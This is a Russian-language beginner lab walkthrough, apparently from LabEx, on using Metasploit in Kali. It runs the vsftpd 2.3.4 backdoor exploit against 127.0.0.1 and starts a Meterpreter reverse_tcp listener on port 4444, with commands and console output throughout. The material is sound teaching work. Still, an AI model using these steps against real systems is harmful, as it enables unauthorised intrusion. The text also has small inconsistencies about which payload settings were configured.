Эксплуатация уязвимостей в Kali с помощью Metasploit

Kali LinuxBeginner
Практиковаться сейчас

Введение

В этой лабораторной работе вы изучите основы тестирования на проникновение с использованием Kali Linux в контролируемой среде на виртуальной машине LabEx. Основное внимание уделяется использованию мощного фреймворка Metasploit для поиска уязвимостей, настройки полезных нагрузок, выполнения эксплойтов и взаимодействия с скомпрометированными системами через сессию Meterpreter. Лабораторная работа разработана для начинающих и пошагово знакомит с ключевыми методами кибербезопасности в безопасной и структурированной среде. При открытии терминала вы будете автоматически подключены к оболочке контейнера Kali Linux и сможете сразу приступить к практике без необходимости ручного запуска или входа в контейнер.

Запуск Metasploit Framework

На первом этапе вы запустите Metasploit Framework — ключевой инструмент для тестирования на проникновение в Kali Linux. Этот шаг важен, так как он подготавливает среду для поиска и эксплуатации уязвимостей на последующих этапах.

Когда вы открываете терминал в виртуальной машине LabEx, вы автоматически подключаетесь к оболочке контейнера Kali Linux. Нет необходимости вручную запускать контейнер или входить в оболочку; среда уже настроена для вас.

Перед использованием Metasploit необходимо убедиться, что он установлен в контейнере Kali Linux. Сначала обновите список пакетов, введя следующую команду в терминале и нажав Enter:

apt update

Затем установите Metasploit Framework. Установка может занять несколько минут, пожалуйста, дождитесь завершения.

apt install -y metasploit-framework

После установки запустите консоль Metasploit, введя следующую команду и нажав Enter:

msfconsole

При первом запуске этой команды может потребоваться некоторое время для инициализации, так как происходит настройка базы данных и загрузка модулей. Вы увидите ASCII-баннер и приглашение командной строки, похожее на это:

Metasploit Framework
...
msf6 >

Приглашение msf6 > означает, что вы находитесь внутри консоли Metasploit и готовы к работе с фреймворком. Не закрывайте консоль, так как она понадобится вам на следующем этапе для поиска и выбора эксплойта.

Поиск и выбор эксплойта

Теперь, когда вы запустили Metasploit Framework, следующим шагом будет поиск и выбор эксплойта. Эксплойт — это фрагмент кода, который использует уязвимость в программном обеспечении для вызова непредвиденного поведения, например, получения несанкционированного доступа.

Поскольку вы уже находитесь в консоли Metasploit (с приглашением msf6 >), давайте поищем эксплойт, связанный с FTP (File Transfer Protocol) — распространенной службой, которая может иметь уязвимости. Введите следующую команду и нажмите Enter:

search ftp

Эта команда выведет список эксплойтов и вспомогательных модулей, связанных с FTP. Результат будет представлен в виде таблицы с подходящими модулями.

Matching Modules
================

   ##  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor          2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution
   1  auxiliary/scanner/ftp/ftp_version                              normal     No     FTP Version Scanner
   2  auxiliary/scanner/ftp/anonymous                                normal     No     FTP Anonymous Access Scanner
...

Для этой лабораторной работы мы будем использовать эксплойт vsftpd_234_backdoor. Чтобы выбрать его, используйте команду use, за которой следует имя эксплойта.

use exploit/unix/ftp/vsftpd_234_backdoor

После выбора эксплойта приглашение командной строки изменится, включив в себя имя эксплойта, что означает, что он стал активным модулем.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

Чтобы просмотреть подробную информацию о выбранном эксплойте, включая его параметры и требования, введите команду info.

info

Вывод предоставит такие детали, как платформа, архитектура и доступные цели.

       Name: VSFTPD v2.3.4 Backdoor Command Execution
     Module: exploit/unix/ftp/vsftpd_234_backdoor
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-07-03

Вы успешно выбрали эксплойт. На следующем этапе вы настроите полезную нагрузку для этого эксплойта.

Примечание: Labby не может отслеживать записи операций в оболочке msf, поэтому следующие шаги не будут проверяться автоматически.

Настройка эксплойта и полезной нагрузки

После выбора эксплойта вам необходимо настроить его параметры и задать полезную нагрузку (payload). Полезная нагрузка — это код, который будет выполнен в целевой системе после успешной эксплуатации уязвимости. В этой лабораторной работе вы настроите интерактивную командную оболочку, которая позволит вам выполнять команды в целевой системе.

Важно: Перед установкой полезной нагрузки крайне важно проверить, какие из них совместимы с выбранным эксплойтом. Используйте следующую команду, чтобы увидеть все совместимые варианты:

show payloads

Это отобразит список полезных нагрузок, работающих с эксплойтом vsftpd_234_backdoor. Вы должны увидеть только одну совместимую нагрузку: cmd/unix/interact.

Сначала установите полезную нагрузку. Мы будем использовать интерактивную командную оболочку, совместимую с этим эксплойтом. Имя нагрузки cmd/unix/interact следует определенной структуре: <архитектура>/<платформа>/<тип>. Здесь cmd указывает на архитектуру командной оболочки, unix — на целевую платформу, а interact означает, что она предоставит интерактивную сессию.

set payload cmd/unix/interact

Вы увидите сообщение с подтверждением.

payload => cmd/unix/interact

Затем необходимо настроить параметры эксплойта. Параметр RHOST (Remote Host) указывает IP-адрес целевой машины. Для этой симуляции мы установим его на 127.0.0.1.

set RHOST 127.0.0.1

Важное примечание: В отличие от полезных нагрузок типа reverse shell, нагрузка cmd/unix/interact не требует настроек LHOST или LPORT. Эта нагрузка устанавливает интерактивную командную сессию напрямую с целью.

Чтобы проверить все настройки, используйте команду show options.

show options

Это отобразит таблицу параметров для эксплойта. Убедитесь, что RHOST установлен правильно.

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   127.0.0.1        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    21               yes       The target port (TCP)

Ваш эксплойт и полезная нагрузка настроены и готовы к выполнению на следующем этапе.

Выполнение эксплойта

После настройки эксплойта и полезной нагрузки вы готовы к их выполнению. Команда exploit дает указание Metasploit начать атаку на указанную цель (RHOST).

В консоли Metasploit просто введите следующую команду и нажмите Enter:

exploit

Metasploit попытается запустить эксплойт. Поскольку в этой лабораторной среде на 127.0.0.1 не запущена реальная уязвимая служба VSFTPD, эксплойт завершится неудачей. Это ожидаемый результат, демонстрирующий процесс запуска атаки.

Вывод покажет, что Metasploit пытался подключиться к целевой FTP-службе, но потерпел неудачу, так как служба не запущена:

[-] 127.0.0.1:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (127.0.0.1:21).
[*] Exploit completed, but no session was created.

Примечание: При использовании полезной нагрузки cmd/unix/interact вы не увидите запуска прослушивателя обратного соединения (reverse shell listener). Вместо этого данная нагрузка попыталась бы установить прямое интерактивное командное соединение с целевой FTP-службой, если бы она была уязвима и доступна.

Сообщение Exploit completed, but no session was created подтверждает неудачу. В успешном сценарии с уязвимой службой VSFTPD это привело бы к установлению сессии интерактивной командной оболочки, позволяя выполнять команды непосредственно в целевой системе. Этот шаг обучает вас базовой команде для запуска эксплойта, что является центральной частью рабочего процесса тестирования на проникновение.

Настройка прослушивателя Meterpreter

На этом заключительном этапе вы научитесь настраивать прослушиватель (listener) для полезной нагрузки Meterpreter. Meterpreter — это продвинутая, многофункциональная полезная нагрузка, предоставляющая интерактивную оболочку в целевой системе. Вместо запуска эксплойта вы будете использовать модуль exploit/multi/handler для ожидания входящих соединений. Это полезно, когда эксплойт доставляется другими способами (например, через вредоносный файл) и вам нужно «поймать» обратное соединение.

Сначала переключитесь на модуль multi/handler.

use exploit/multi/handler

Приглашение командной строки изменится, отражая новый модуль.

msf6 exploit(multi/handler) >

Затем установите полезную нагрузку Meterpreter. Мы будем использовать ту, что предназначена для систем Linux. Имя нагрузки linux/x86/meterpreter/reverse_tcp следует логической структуре: <платформа>/<архитектура>/<тип>/<протокол>. Она указывает на платформу Linux, архитектуру x86, тип полезной нагрузки Meterpreter и протокол обратного TCP-соединения.

set payload linux/x86/meterpreter/reverse_tcp

Теперь настройте параметры прослушивателя, LHOST и LPORT, так же, как вы делали это ранее.

set LHOST 127.0.0.1

Примечание: Вы можете увидеть предупреждение о привязке к адресу обратной петли (loopback). Это нормально при использовании localhost (127.0.0.1), и для данной лабораторной работы его можно смело игнорировать.

set LPORT 4444

Наконец, запустите прослушиватель с помощью команды exploit.

exploit

Metasploit запустит прослушиватель на указанном IP-адресе и порту, ожидая подключения сессии Meterpreter.

[*] Started reverse TCP handler on 127.0.0.1:4444

Консоль останется активной, ожидая соединения. В реальном сценарии, если бы целевая машина выполнила соответствующую полезную нагрузку Meterpreter, здесь была бы установлена сессия. Поскольку в этой лабораторной работе ни одна цель не подключится, вы можете остановить прослушиватель, нажав Ctrl + C.

Чтобы выйти из консоли Metasploit, введите exit и нажмите Enter.

Резюме

В этой лабораторной работе вы изучили основные этапы тестирования на проникновение с использованием Kali Linux и фреймворка Metasploit. Вы начали с запуска Metasploit, поиска и выбора эксплойта, настройки эксплойта и полезной нагрузки для обратного соединения, а также выполнения атаки в симулированной среде. Вы также узнали, как настроить автономный прослушиватель для продвинутой полезной нагрузки Meterpreter. Эти шаги дают практическое введение в основной рабочий процесс: поиск уязвимостей, подготовку полезных нагрузок и понимание процесса эксплуатации. Следуя этому структурированному подходу, вы получили практический опыт работы с основными инструментами и методами кибербезопасности.